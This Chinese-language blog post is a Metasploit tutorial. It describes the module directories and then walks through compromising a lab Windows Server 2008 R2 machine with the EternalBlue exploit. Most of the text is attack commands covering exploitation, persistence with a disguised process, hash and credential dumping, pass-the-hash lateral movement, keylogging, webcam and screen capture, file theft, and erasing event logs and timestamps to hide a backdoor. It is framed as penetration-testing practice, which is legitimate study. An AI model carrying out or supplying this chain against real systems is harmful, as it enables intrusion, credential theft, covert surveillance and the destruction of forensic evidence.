msf漏洞利用系列

本文最后更新于 2025年9月22日 下午

msf漏洞利用系列

一、msf目录结构深度解读

modules文件

1
2
3
msf > ls /usr/share/metasploit-framework/modules/
[*] exec: ls /usr/share/metasploit-framework/modules/
auxiliary(辅助模块) encoders evasion exploits(漏洞利用) nops payloads(攻击载荷) post(后渗透模块) README.md

exploits/:包含针对特定软件或系统漏洞的利用代码。

auxiliary/:辅助模块,包括扫描、枚举、嗅探等各种功能,不直接造成系统损害。

payloads/:攻击载荷,一旦漏洞被利用成功,这些代码会被植入目标系统执行特定任务。

post/:后渗透模块,用于在目标系统被攻陷后执行的进一步操作,如权限提升、信息收集等。

data文件

存储了Metasploit的各种数据文件,如wordlists(密码字典)、nmap脚本等,为模块提供额外数据支持。

script文件

存放辅助脚本,如自动化升级脚本、数据库管理脚本等

tools文件

提供了一系列外部工具,比如编码解码工具、密码破解工具等,这些工具可以独立于MSF框架使用

二、msf渗透测试实战——网络服务器攻击渗透

准备工作

攻击机:kali

靶机:windows Server 2008 R2 x64

漏洞利用

权限获取

对靶机进行漏洞扫描

1
nmap -sV --script=vuln 192.168.190.134

漏洞扫描

扫描到相应漏洞

在msf中搜索对应的利用模块

1
search ms17_010

模块搜索

用auxiliary(辅助模块)的扫描进一步确认漏洞

1
2
3
4
use auxiliary/scanner/smb/smb_ms17_010   #使用对应模块
show options #查看参数
set rhost 192.168.190.134 #设置攻击目标
exploit #利用

漏洞确认

使用漏洞利用模块

1
2
3
use windows/smb/ms17_010_eternalblue	#使用对应模块
set rhost 192.168.190.134 #设置攻击目标
exploit #利用

利用成功

后渗透
信息收集
1
2
3
4
5
6
7
8
sysinfo		#基本系统信息
getuid #基本系统信息
getenvs #环境变量
getprivs #进程具备的权限
idletime #系统空闲实践
keyscan_start #键盘记录
keyscan_dump #导出键盘结果
keyscan_stop #停止键盘记录
权限提升
1
2
3
4
5
getsystem	#内置提权命令
background # 将当前会话放到后台
use post/multi/recon/local_exploit_suggester # 本地漏洞利用建议器
set SESSION <你的会话ID>
run # 它会自动扫描目标,推荐可用的本地提权exp
权限维持
1
2
3
4
5
6
7
8
9
background #保存会话
search persistence #寻找并选择合适的持久化模块
use windows/local/persistence #使用模块
show options #查看参数
set lhost 本机ip
set lport 可用端口
set session <上面保存的会话>
set EXE_NAME #进程伪装
set path c:// #文件存放路径

权限维持

凭证获取
1
2
3
4
5
6
7
hashdump	#抓取hash,需要system权限
#使用kiwi模块
load kiwi #加载模块
creds_all #列出所有凭据
lsa_dump_sam #导出SAM
lsa_dumo_secrets #导出LSA机密
run post/windows/gather/smart_hashdump # 更智能的哈希抓取
横向移动
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 1. 使用 MSF 的 psexec 模块(利用获取的明文密码或哈希)
meterpreter > background
msf6 > use exploit/windows/smb/psexec
msf6 exploit(...) > set RHOSTS 192.168.1.101 # 设置新目标IP
msf6 exploit(...) > set SMBUSER administrator
msf6 exploit(...) > set SMBPASS <明文密码> 或者 set SMBPASS <NTLM哈希> 或者 set SMBDOMAIN <域名>
# 如果使用哈希,使用 `set SMBPASS aad3b...:aad3b...` 格式(LM:NT)
msf6 exploit(...) > set PAYLOAD windows/meterpreter/bind_tcp # 内网常用bind
msf6 exploit(...) > exploit

# 2. Pass-The-Hash 攻击(无需明文密码)
# 如上所示,在 psexec 中直接设置哈希即可。

# 3. 使用已建立的会话作为跳板 (Socks Proxy)
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(...) > set VERSION 4a
msf6 auxiliary(...) > run
# 然后配置你的其他工具(如浏览器、nmap)的代理为127.0.0.1:1080,即可通过被控主机访问其内网。
数据收集与敏感信息挖掘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 1. 文件搜索
meterpreter > search -f *.docx -d C:\\Users\\ # 搜索Users目录下所有docx文件
meterpreter > search -f "secret*.txt" # 搜索包含secret的txt文件

# 2. 屏幕截图
meterpreter > screenshot

# 3. 屏幕监控(需要系统权限和高性能连接)
meterpreter > use espia # 加载espia插件
meterpreter > screenshare # 实时查看目标桌面

# 4. 摄像头控制
meterpreter > webcam_list # 列出摄像头
meterpreter > webcam_snap # 拍摄一张照片
meterpreter > webcam_stream # 开启视频流

# 5. 下载敏感文件
meterpreter > download C:\\Users\\Admin\\Documents\\database.zip /tmp/
痕迹清理
1
2
3
4
5
6
7
8
9
10
11
12
13
# 1. 清除日志
meterpreter > clearev # 清除Windows事件日志(安全、系统、应用程序)

# 2. 修改文件时间戳(掩盖后门文件的创建时间)
meterpreter > timestomp C:\\backdoor.exe -f C:\\windows\\system32\\calc.exe
# 将后门文件的时间戳替换为计算器文件的时间戳

# 3. 移除持久化后门
# 这需要根据你创建后门的方式来回逆。
# 例如,如果是用`persistence`脚本,它会在注册表`HKLM\Software\Microsoft\Windows\CurrentVersion\Run\`或类似位置创建键值,需要手动进入shell删除。
meterpreter > reg deletekey -k <注册表路径> # 删除注册表项
meterpreter > shell
C:\> del C:\path\to\backdoor.exe

msf漏洞利用系列
http://example.com/2025/09/12/msf漏洞利用系列/
作者
清风
发布于
2025年9月12日
许可协议